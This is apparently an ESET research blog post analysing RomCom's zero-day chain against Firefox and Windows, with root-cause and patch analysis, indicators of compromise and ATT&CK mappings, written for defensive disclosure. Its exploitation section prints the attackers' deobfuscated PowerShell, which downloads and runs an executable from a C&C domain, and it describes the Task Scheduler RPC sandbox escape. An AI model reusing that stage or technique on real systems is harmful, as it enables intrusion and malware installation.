ESET researchers discovered a previously unknown vulnerability in Mozilla products, exploited in the wild by Russia-aligned group RomCom. This is at least the second time that RomCom has been caught exploiting a significant zero-day vulnerability in the wild, after the abuse of CVE-2023-36884 via Microsoft Word in June 2023.

This critical vulnerability, assigned CVE-2024-9680 with a CVSS score of 9.8, allows vulnerable versions of Firefox, Thunderbird, and the Tor Browser to execute code in the restricted context of the browser. Chained with another previously unknown vulnerability in Windows, assigned CVE-2024-49039 with a CVSS score of 8.8, arbitrary code can be executed in the context of the logged-in user. In a successful attack, if a victim browses to a web page containing the exploit, an adversary can run arbitrary code – without any user interaction required – which in this case led to the installation of RomCom’s eponymous backdoor on the victim’s computer.

Key points of this blogpost:
  • On October 8th, 2024, ESET researchers discovered a previously unknown zero-day vulnerability in Mozilla products being exploited in the wild.
  • Analysis of the exploit led to the discovery of the vulnerability, now assigned CVE-2024-9680: a use-after-free bug in the animation timeline feature in Firefox. Mozilla patched the vulnerability on October 9th, 2024.
  • Further analysis revealed another zero-day vulnerability in Windows: a privilege escalation bug, now assigned CVE‑2024‑49039, that allows code to run outside of Firefox’s sandbox. Microsoft released a patch for this second vulnerability on November 12th, 2024.
  • Successful exploitation attempts delivered the RomCom backdoor, in what looks like a widespread campaign.

RomCom profile

RomCom (also known as Storm-0978, Tropical Scorpius, or UNC2596) is a Russia-aligned group that conducts both opportunistic campaigns against selected business verticals and targeted espionage operations. The group’s focus has shifted to include espionage operations collecting intelligence, in parallel with its more conventional cybercrime operations. The backdoor used by the group is capable of executing commands and downloading additional modules to the victim’s machine.

Table 1 shows the sectors targeted, according to our research, by RomCom in 2024. This highlights that the group is engaged in espionage but also cybercrime operations.

Table 1. RomCom victims in 2024

Vertical and region Purpose First seen
Governmental entity in Ukraine Espionage 2024-01
Pharmaceutical sector in the US Cybercrime 2024-03
Legal sector in Germany Cybercrime 2024-03
Insurance sector in the US Cybercrime 2024-04
Defense sector in Ukraine Espionage 2024-08
Energy sector in Ukraine Espionage 2024-08
Governmental entities in Europe Espionage 2024-08
Worldwide targeting – Firefox exploit Unknown 2024-10

Compromise chain

The compromise chain is composed of a fake website that redirects the potential victim to the server hosting the exploit, and should the exploit succeed, shellcode is executed that downloads and executes the RomCom backdoor – an example of which is depicted in Figure 1. While we don’t know how the link to the fake website is distributed, however, if the page is reached using a vulnerable browser, a payload is dropped and executed on the victim’s computer with no user interaction required. Finally, a JavaScript redirection is performed using window.location.href after a few seconds, giving the exploit time to run.

Figure 1. Exploit chain to compromise the victim
Figure 1. Exploit chain to compromise the victim

From October 10th, 2024 to October 16th, 2024, just after the first vulnerability was patched, we found other C&C servers hosting the exploit. They used a recurring naming scheme for their fake servers by adding the prefix or suffix redir or red to a legitimate domain, sometimes also changing its top-level domain (TLD), as shown in Table 2. The redirection at the end of the exploitation attempt took the victims to the legitimate website at the original domain name, presumably to avoid raising the targets’ suspicions.

Table 2. Fake servers redirecting to the exploit

First seen Fake server Final redirect to Redirect website purpose
2024⁠-⁠10⁠-⁠10 redircorrectiv[.]com correctiv.org Nonprofit independent newsroom.
2024⁠-⁠10⁠-⁠14 devolredir[.]com devolutions.net Remote access and password management solutions.
2024⁠-⁠10⁠-⁠15 redirconnectwise[.]cloud connectwise.com MSP technology and IT management software.
2024⁠-⁠10⁠-⁠16 redjournal[.]cloud connectwise.com

If a victim using a vulnerable browser visits a web page serving this exploit, the vulnerability is triggered and shellcode is executed in a content process. The shellcode is composed of two parts: the first retrieves the second from memory and marks the containing pages as executable, while the second implements a PE loader based on the open-source project Shellcode Reflective DLL Injection (RDI).

The loaded library implements a sandbox escape for Firefox that leads to downloading and executing the RomCom backdoor on the victim’s computer. The backdoor is staged at a C&C server located at journalctd[.]live, correctiv[.]sbs, or cwise[.]store, depending on the sample.

According to our telemetry, from October 10th, 2024 to November 4th, 2024, potential victims who visited websites hosting the exploit were located mostly in Europe and North America, as shown in Figure 2. The number of potential targets runs from a single victim per country to as many as 250, according to ESET telemetry.

Figure 2. Heatmap of potential victims
Figure 2. Heatmap of potential victims

CVE-2024-9680: Use-after-free in Firefox animation timeline

On October 8th, 2024, we found interesting files used to deliver the RomCom backdoor, hosted on the server 1drv.us[.]com controlled by the threat actor. The exploits target a use-after-free vulnerability in Firefox animation timelines, allowing an attacker to achieve code execution in a content process. During our investigation, we analyzed the files referenced in Table 3.

Table 3. Files related to the exploit

Name Description
main-128.js JavaScript file containing the exploit for versions of Firefox from 106 to 128.
main-129.js JavaScript file containing the exploit for versions of Firefox from 129 to 131.
main-tor.js JavaScript file containing the exploit for Tor Browser versions 12 and 13.
script.js JavaScript file used to generate a CAPTCHA.
utils.js JavaScript file containing helper functions, e.g., to convert data types, or to get the OS type or browser version.
animation0.html HTML iframe loaded by the exploit to trigger the use-after-free vulnerability.
index.html HTML page loading the exploit and redirecting to a legitimate website after a few seconds.

Timestamps related to these files indicate that they were created on October 3rd, 2024 and made available online; nevertheless, the threat actor might have been in possession of this exploit earlier than this.

We reported the vulnerability to Mozilla shortly after discovery, with the following timeline of events:

  • 2024-10-08: Discovery and initial analysis.
  • 2024-10-08: Vulnerability reported to Mozilla.
  • 2024-10-08: Vulnerability acknowledged by Mozilla.
  • 2024-10-09: CVE-2024-9680 assigned by Mozilla Corporation.
  • 2024-10-09: Vulnerability patched in Firefox, Security Advisory 2024-51.
  • 2024-10-09: Vulnerability patched in Tor Browser with release 13.5.7.
  • 2024-10-10: Vulnerability patched in Tails with release 6.8.1.
  • 2024-10-10: Vulnerability patched in Thunderbird, Security Advisory 2024-52.

We would like to thank the team at Mozilla for being very responsive and highlight their impressive work to release a patch within a day.

Mozilla and the Tor Project released a patch that fixes the vulnerability in the following versions:

  • Firefox 131.0.2
  • Firefox ESR 115.16.1
  • Firefox ESR 128.3.1
  • Tor Browser 13.5.7
  • Tails 6.8.1
  • Thunderbird 115.16
  • Thunderbird 128.3.1
  • Thunderbird 131.0.1

During the preparation of this blogpost, independent researcher Dimitri Fourny released a detailed analysis of the vulnerability on November 14th, 2024.

Root cause analysis

The main-<Firefox version>.js first checks the exact version of the browser, and determines its exploitability by checking some specific objects’ offsets and sizes for an affected version. If these checks pass, it proceeds to add an HTML iframe into the exploit page, implemented in animation0.html. The latter creates four HTML div elements identified respectively as target0 to target3, but most importantly it defines a getter function for the Object.prototype’s then property as shown in Figure 3. This function will trigger the use-after-free vulnerability as explained below. Note that the comments (in dark green) are from the exploit authors; this could indicate that the exploit was still in a developmental phase or that the threat actor bought it.

Figure 3. The JavaScript exploit defines the then property’s getter function on every object
Figure 3. The JavaScript exploit defines the then property’s getter function on every object, triggering a use-after-free vulnerability

After some initial heap spraying, the prepare function creates four Animation objects, one for each div element previously created, as illustrated in Figure 4. These animation objects are handled by an AnimationTimeline object.

Figure 4. The exploit code creates animation objects for div elements
Figure 4. The exploit code creates animation objects for div elements

During the document animation timeline, the test function is called, which pauses and gets the ready property of the first and second animation objects. As stated in the documentation, the ready property returns a Promise that resolves when the animation is ready to be played. Calling the then method on the promise causes the getter function shown in Figure 3 to be called. Essentially, this function increments a global flag variable and when it reaches 2, the first animation object (anim0) is cancelled, and all the div elements are removed. The call to the rm0 function (shown in Figure 3) sets the animation objects to null in order to free them, which triggers the use-after-free vulnerability. This function also does some heap feng shui and, in the initially discovered exploit, calls the getInfo function responsible for achieving code execution.

In the meantime, as the animation0.html document is being refreshed, the Tick method of its AnimationTimeline object is called periodically. As seen in Figure 5, this method iterates over the different animation objects present in the animation timeline and appends animations to be removed to a local array variable called animationsToRemove.

Figure 5. In AnimationTimeline::Tick, animation objects to be removed are appended to local array variable animationsToRemove
Figure 5. In AnimationTimeline::Tick, animation objects to be removed are appended to local array variable animationsToRemove

The bug lies in that, while iterating over the different animation objects of the animation timeline, the Tick method of the Animation object is called, which can lead to the freeing of the current animation object, resulting in handling a dangling pointer. While debugging the exploit, we observed a sequence of calls that eventually ended up in the getter function explained above, as illustrated in Figure 6 and Figure 7.

Figure 6. Call stack of the animation being cancelled
Figure 6. Call stack of the animation being cancelled by the getter function called via the Animation::Tick method
Figure 7. The Animation PauseAt method ends up calling the getter function
Figure 7. The Animation::PauseAt method ends up calling the getter function

The getter function calls Animation::Cancel which in turn calls AnimationTimeline::RemoveAnimation. Then, the animation objects anim0 and anim1 are set to null in order for them to get freed. When AnimationTimeline::Tick then iterates over the array animationsToRemove (line 74 in Figure 5), AnimationTimeline::RemoveAnimation will manipulate a dangling pointer of an Animation object that was already removed, as shown in Figure 8.

Figure 8. Call stack of the crash in AnimationTimeline RemoveAnimation
Figure 8. Call stack of the crash in AnimationTimeline::RemoveAnimation while manipulating a dangling pointer

After freeing the animations in the rm0 function, the exploit proceeds with more heap management in order to control the objects that will replace the freed animations, and finally, the getInfo function is called, as seen in Figure 9.

Figure 9. Exploit code function rm0 triggers the use-after-free bug and exploits it
Figure 9. Exploit code function rm0 triggers the use-after-free bug and exploits it

Without going into too much detail about the exploit code, its author abused div objects and their attributes as well as ImageData objects to leak properties of the latter, as observed in Figure 10.

Figure 10. Exploit code getInfo function attempts to leak an ImageData object
Figure 10. Exploit code getInfo function attempts to leak an ImageData object

Then, the exploit code proceeds to manipulate ArrayBuffer objects so as to leak the address of an arbitrary JavaScript object (known as an addrof primitive) and abuse the Firefox JIT compiler to execute the first shellcode component in the context of a content process, as illustrated in Figure 11. This technique is explained in great detail in this blogpost.

Figure 11. The exploit code abuses the Firefox JIT compiler to execute shellcode
Figure 11. The exploit code abuses the Firefox JIT compiler to execute shellcode

Mozilla patched the vulnerability in Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1 on October 9th, 2024. Essentially, the pointers to the animation objects handled by the timeline are now implemented through reference-counting pointers (RefPtr), as suggested by the diff, which prevents the animations from being freed, since AnimationTimeline::Tick will still hold a reference to them.

Shellcode analysis

Both shellcodes are stored in the JaveScript exploit file main-<Firefox version>.js. The first one is dynamically created as an array of float numbers while the second one is stored as a huge array of bytes.

Egghunting shellcode

This first shellcode simply retrieves the second shellcode by searching in memory for a hardcoded magic value of 0x8877665544332211, changes its memory protection to read-write-execute (RWX), and executes the code located at this address.

Reflective loader shellcode

This second shellcode is the compiled version of the Shellcode RDI project, which enables a DLL to be loaded. The constants used in the shellcode were not changed by the threat actor (see https://github.com/monoxgas/sRDI/blob/master/Native/Loader.cpp#L367 vs. the constants shown in Figure 12).

Figure 12. The constants used in the public Shellcode RDI project remained unchanged
Figure 12. The constants used in the public Shellcode RDI project remained unchanged

The shellcode simply loads an embedded library whose sole purpose is to escape the restrictions of Firefox’s sandboxed content process.

CVE-2024-49039: Privilege escalation in Windows Task Scheduler

The loaded library (SHA1: ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6), named PocLowIL by its developers and compiled on October 3rd, 2024, implements a sandbox escape from the untrusted process level of the content process to a medium level. Essentially, the library makes use of an undocumented RPC endpoint, which should not have been callable from an untrusted process level, to launch a hidden PowerShell process that downloads a second stage from a C&C server.

The timeline of the vulnerability disclosure is the following:

  • 2024-10-08: As part of our initial report to Mozilla for CVE-2024-9680, we also provided what we believed to be a sandbox escape.
  • 2024-10-14: Mozilla’s security team confirmed the sandbox escape and deemed the vulnerability to be tied to a Windows security flaw. They advised us that they had contacted the Microsoft Security Response Center (MSRC) to assess the vulnerability.
  • 2024-11-12: Microsoft released an advisory for CVE-2024-49039 and its corresponding patch through the update KB5046612. The vulnerability was also independently found by Vlad Stolyarov and Bahare Sabouri of Google’s Threat Analysis Group, as mentioned in KB5046612.

Root cause analysis

The sandbox escape code resides in the relatively small main function of the library. It makes use of an undocumented RPC endpoint, as illustrated in Figure 13.

Figure 13. The PocLowIL library prepares to interact with a task-related endpoint
Figure 13. The PocLowIL library prepares to interact with a task-related endpoint

The function proceeds to populate undocumented structures and calls NdrClientCall2 three times. The first parameter passed to this function, pStubDescriptor, is a MIDL_STUB_DESC structure whose RpcInterfaceInformation member points to an interface identified by the GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1. This interface is implemented in the Windows library WPTaskScheduler.dll, loaded by schedsvc.dll, hosted in the process of the task scheduler service (svchost.exe).

According to our analysis of this interface, the sandbox escape code calls the following functions:

  • s_TaskSchedulerCreateSchedule
  • s_TaskSchedulerExecuteSchedule
  • s_TaskSchedulerDeleteSchedule (used only for cleanup)

Using RpcView and after partially reversing some structures, we figured out the main structures, as illustrated in Figure 14.

Figure 14. The main structures used to create a scheduled task through the RPC interface
Figure 14. The main structures used to create a scheduled task through the RPC interface

After applying these structures in IDA Pro, we obtained a clearer overview of the task, as seen in Figure 15.

Figure 15. IDA Pro pseudocode view of the sandbox escape code
Figure 15. IDA Pro pseudocode view of the sandbox escape code

Based on the code, the malicious library creates a scheduled task that will run an arbitrary application at medium integrity level, allowing the attackers to elevate their privileges on the system and break out of the sandbox. This is possible due to the lack of restrictions imposed on the security descriptor applied to the RPC interface during its creation, as illustrated in Figure 16.

Figure 16. Permissive security descriptor applied to the RPC interface
Figure 16. Permissive security descriptor applied to the RPC interface

The renamed variable interface_security_descriptor, used when RpcServerRegisterIf3 is called, has the following value: D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD). According to the Security Descriptor Definition Language (SDDL), it allows everyone (WD) to communicate with the RPC interface and call its procedures regardless of their integrity level.

Exploitation

In this case, the threat actor created a task named firefox.exe that will launch conhost.exe in headless mode in order to hide the child process window. The deobfuscation of the rest of the command line (shown in Figure 15) revealed the PowerShell code seen in Figure 17.

$a=$env:public + '\\public';
Invoke-WebRequest https://journalctd[.]live/JfWb4OrQPLh -o $a;
sleep 15;
Rename-Item $a ($a = ($a + '.exe')) # $env:public\public.exe
Start-Process $a;
sleep 10;
Rename-Item $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:public\epublic.exe
Start-Process $a

Figure 17. PowerShell code downloading a next-stage component

An executable is downloaded from https://journalctd[.]live/JfWb4OrQPLh, stored in the %PUBLIC% folder as public.exe, and run. After 10 seconds, it is renamed as epublic.exe and run again.

Brief patch analysis

The patched version of WPTaskScheduler.dll (version 10.0.19041.5129) released with KB5046612 makes use of a more complicated security descriptor, as shown in Figure 18.

Figure 18. The security descriptor introduced by the patch is more restrictive
Figure 18. The security descriptor introduced by the patch is more restrictive

The new security descriptor is:

D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)

Breaking down the string reveals the following restriction logic:

  • the system (SY) and local service (LS) accounts are granted read, write, and execute access,
  • the network service (NS) account and interactive users (IU) are granted only read access,
  • lastly, objects below medium level (ME) integrity are denied read, write, and execute access.

The new restrictions imposed by the updated security descriptor prevent the privilege escalation and render the sandbox escape code obsolete.

Conclusion

Chaining together two zero-day vulnerabilities armed RomCom with an exploit that requires no user interaction. This level of sophistication shows the threat actor’s will and means to obtain or develop stealthy capabilities. ESET shared detailed findings with Mozilla, following our coordinated vulnerability disclosure process shortly after discovery. Mozilla released a blogpost about how they reacted to the disclosure and were able to release a fix within 25 hours, which is very impressive in comparison to industry standards.

For any inquiries about our research published on WeLiveSecurity, please contact us at threatintel@eset.com
ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.

IoCs

A comprehensive list of indicators of compromise and samples can be found in our GitHub repository.

Files

SHA-1 Filename Detection Description
A4AAD0E2AC1EE0C8DD25968FA4631805689757B6 utils.js JS/Exploit.Agent.NSF RomCom Firefox exploit.
CA6F8966A3B2640F49B19434BA8C21832E77A031 main-tor.js JS/Exploit.Agent.NSE RomCom Firefox exploit.
21918CFD17B378EB4152910F1246D2446F9B5B11 main-128.js JS/Exploit.Agent.NSE RomCom Firefox exploit.
703A25F053E356EB6ECE4D16A048344C55DC89FD main-129.js JS/Exploit.Agent.NSE RomCom Firefox exploit.
ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6 PocLowIL.dll Win64/Runner.AD RomCom Firefox sandbox escape.
A9D445B77F6F4E90C29E385264D4B1B95947ADD5 PocLowIL.dll Win64/Runner.AD RomCom Tor browser sandbox escape.

Network

IP Domain Hosting provider First seen Details
194.87.189[.]171 journalctd[.]live Aeza International LTD 2024⁠-⁠10⁠-⁠08 RomCom second-stage C&C server.
178.236.246[.]241 correctiv[.]sbs AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠09 RomCom second-stage C&C server.
62.60.238[.]81 cwise[.]store AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠15 RomCom second-stage C&C server.
147.45.78[.]102 redircorrectiv[.]com AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠10 RomCom exploit delivery C&C server.
46.226.163[.]67 devolredir[.]com AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠14 RomCom exploit delivery C&C server.
62.60.237[.]116 redirconnectwise[.]cloud AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠15 RomCom exploit delivery C&C server.
62.60.237[.]38 redjournal[.]cloud AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠16 RomCom exploit delivery C&C server.
194.87.189[.]19 1drv.us[.]com AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠08 RomCom malware delivery C&C server.
45.138.74[.]238 economistjournal[.]cloud AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠16 RomCom exploit redirection C&C server.
176.124.206[.]88 N/A AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠08 RomCom second-stage C&C server.

MITRE ATT&CK techniques

This table was built using version 16 of the MITRE ATT&CK framework.

Tactic ID Name Description
Resource Development T1583 Acquire Infrastructure RomCom sets up VPSes and buys domain names.
T1587.001 Develop Capabilities: Malware RomCom develops malware in multiple programming languages.
T1587.004 Develop Capabilities: Exploits RomCom may develop exploits used for initial compromise.
T1588.003 Obtain Capabilities: Code Signing Certificates RomCom obtains valid code-signing certificates to sign its malware.
T1588.005 Obtain Capabilities: Exploits RomCom may acquire exploits used for initial compromise.
T1588.006 Obtain Capabilities: Vulnerabilities RomCom may obtain information about vulnerabilities it uses for targeting victims.
T1608 Stage Capabilities RomCom stages malware on multiple delivery servers.
Initial Access T1189 Drive-by Compromise RomCom compromises victims through a user visiting a website hosting an exploit.
Execution T1053.005 Scheduled Task/Job: Scheduled Task RomCom creates a scheduled task using RCP to execute the next stage downloader.
Persistence T1546.015 Event Triggered Execution: Component Object Model Hijacking The RomCom backdoor hijacks DLLs loaded by explorer.exe or wordpad.exe for persistence.
Privilege Escalation T1068 Exploitation for Privilege Escalation RomCom exploits a vulnerability to escape the Firefox sandbox.
Defense Evasion T1622 Debugger Evasion The RomCom backdoor detects debuggers by registering an exception handler.
T1480 Execution Guardrails The RomCom backdoor checks whether the system state is suitable for execution.
T1027.011 Obfuscated Files or Information: Fileless Storage The RomCom backdoor is stored encrypted in the registry.
T1553.002 Subvert Trust Controls: Code Signing The RomCom backdoor weakens security mechanisms by using trusted code-signing certificates.
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers The RomCom backdoor collects passwords, cookies, and sessions using a browser stealer module.
T1552.001 Unsecured Credentials: Credentials In Files The RomCom backdoor collects passwords using a file reconnaissance module.
Discovery T1087 Account Discovery The RomCom backdoor collects username, computer, and domain data.
T1518 Software Discovery The RomCom backdoor collects information about installed software and versions.
T1614 System Location Discovery The RomCom backdoor checks for a specific keyboard layout ID (KLID).
Lateral Movement T1021 Remote Services The RomCom backdoor creates SSH tunnels to move laterally within compromised networks.
Collection T1560 Archive Collected Data The RomCom backdoor stores data in a ZIP archive for exfiltration.
T1185 Man in the Browser The RomCom backdoor steals browser cookies, history, and saved passwords.
T1005 Data from Local System The RomCom backdoor collects specific file types based on file extensions.
T1114.001 Email Collection: Local Email Collection The RomCom backdoor collects files with .msg, .eml, and .email extensions.
T1113 Screen Capture The RomCom backdoor takes screenshots of the victim’s computer.
Command and Control T1071.001 Standard Application Layer Protocol: Web Protocols The RomCom backdoor uses HTTP or HTTPS as a C&C protocol.
T1573.002 Encrypted Channel: Asymmetric Cryptography The RomCom backdoor encrypts communication using SSL certificates.
Exfiltration T1041 Exfiltration Over Command-and-Control Channel The RomCom backdoor exfiltrates data using the HTTPS C&C channel.
Impact T1565 Data Manipulation RomCom manipulates systems and steals data.
T1657 Financial Theft RomCom compromises companies for financial interest.